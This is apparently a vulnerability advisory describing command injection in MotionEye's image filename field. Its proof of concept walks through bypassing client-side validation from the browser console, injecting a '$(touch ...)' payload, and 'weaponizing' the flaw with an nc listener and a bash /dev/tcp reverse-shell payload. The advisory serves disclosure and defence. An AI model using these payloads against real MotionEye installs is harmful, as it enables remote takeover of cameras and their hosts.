PYSEC-2026-1680

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

1. Start MotionEye container
   Launch the vulnerable container:

   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
   

2. Verify version
   Confirm the running version inside logs:

   docker logs motioneye | grep "motionEye server"
   

   Result:

   motionEye server 0.43.1b4
   

   

3. Container shell access (for verification later)
   Keep a shell handy to verify results:

   docker exec -it motioneye /bin/bash
   ls -la /tmp
   

Exploitation Steps

1. Access Web Interface

   • Open browser at: http://127.0.0.1:9999
   • Login with default credentials: admin / (blank password)
   • Add a sample RTSP network camera (required to enable camera-specific settings).
   

2. Attempt malicious filename input

   • Go to: Camera Settings → Still Images
   • In the Image File Name field, try:

     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
     

   • Observation: This is blocked by client-side validation in the browser.
   

3. Client-Side Validation Discovery

   • The check is implemented in JavaScript:
     • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
   • Example validation function:

     function configUiValid() {
       $('div.settings').find('.validator').each(function () { this.validate(); });
       var valid = true;
       $('div.settings input, select').each(function () {
         if (this.invalid) { valid = false; return false; }
       });
       return valid;
     }
     

4. Bypass Validation

   • Open browser console (F12 → Console tab)
   • Override the function to always return true:

     configUiValid = function() { return true; };
     

   • This bypasses client-side validation and allows arbitrary values.

5. Inject Payload

   • Set Capture Mode: Interval Snapshots
   • Set Interval: 10
   • Set Image File Name to the payload:

     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
     

   • Click Apply to save settings.

6. Verify Execution

   • Inside the container shell:

     ls -la /tmp
     

   • Result: File /tmp/test is created with root permissions, confirming code execution.

Weaponizing RCE (Reverse Shell Example)

1. Start attacker listener

   nc -lvnp 4444
   

2. Inject reverse shell payload
   Enter the following into the Image File Name field:

   $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
   

3. Result

   • A reverse shell connects back to the attacker’s machine.
   • Attacker gains full control of the MotionEye container environment.

Root Cause

• MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
• On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
2. Containerized and bare-metal installs alike.

Potential consequences:

1. Full compromise of MotionEye container.
2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.